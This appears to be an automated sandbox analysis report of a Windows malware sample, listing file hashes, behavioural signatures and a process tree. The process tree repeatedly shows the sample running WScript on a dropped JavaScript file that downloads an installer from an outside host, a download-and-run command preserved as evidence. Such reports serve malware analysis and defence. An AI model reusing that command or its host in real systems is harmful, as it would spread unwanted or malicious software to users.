Analysis
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max time kernel
100s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
12/06/2024, 20:20
Static task
static1
Behavioral task
behavioral1
Sample
a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe
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Size
184KB
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MD5
a22d8a9089c88ef4a9f50e97776019ae
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SHA1
e75aa98e2b17552bdc3663f6e7ee166926c2c6d9
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SHA256
85b3cfead6257e9840c4ef65443cbfb206982c48375d4bb632c32babd0eccebc
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SHA512
a266dc530242546d7cef81f7e60295c1987e9ed61b6aa3662fae7b3b3543b479dc7f4ce5453b3af37ed015c2026fb8def9cd4b60a0bfcb7f681b0d70277aa289
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO30:/7BSH8zUB+nGESaaRvoB7FJNndn5
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 1668 wrote to memory of 1424 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 80 PID 1668 wrote to memory of 1424 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 80 PID 1668 wrote to memory of 1424 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 80 PID 1668 wrote to memory of 4464 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 83 PID 1668 wrote to memory of 4464 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 83 PID 1668 wrote to memory of 4464 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 83 PID 1668 wrote to memory of 3696 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 88 PID 1668 wrote to memory of 3696 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 88 PID 1668 wrote to memory of 3696 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 88 PID 1668 wrote to memory of 3196 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 90 PID 1668 wrote to memory of 3196 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 90 PID 1668 wrote to memory of 3196 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 90 PID 1668 wrote to memory of 4604 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 91 PID 1668 wrote to memory of 4604 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 91 PID 1668 wrote to memory of 4604 1668 a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe 91
Processes
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C:\Users\Admin\AppData\Local\Temp\a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a22d8a9089c88ef4a9f50e97776019ae_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5F56.js" http://www.djapp.info/?domain=gClSLxtHDo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf5F56.exe2⤵PID:1424
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5F56.js" http://www.djapp.info/?domain=gClSLxtHDo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf5F56.exe2⤵PID:4464
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5F56.js" http://www.djapp.info/?domain=gClSLxtHDo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf5F56.exe2⤵PID:3696
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5F56.js" http://www.djapp.info/?domain=gClSLxtHDo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf5F56.exe2⤵PID:3196
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5F56.js" http://www.djapp.info/?domain=gClSLxtHDo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf5F56.exe2⤵PID:4604
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76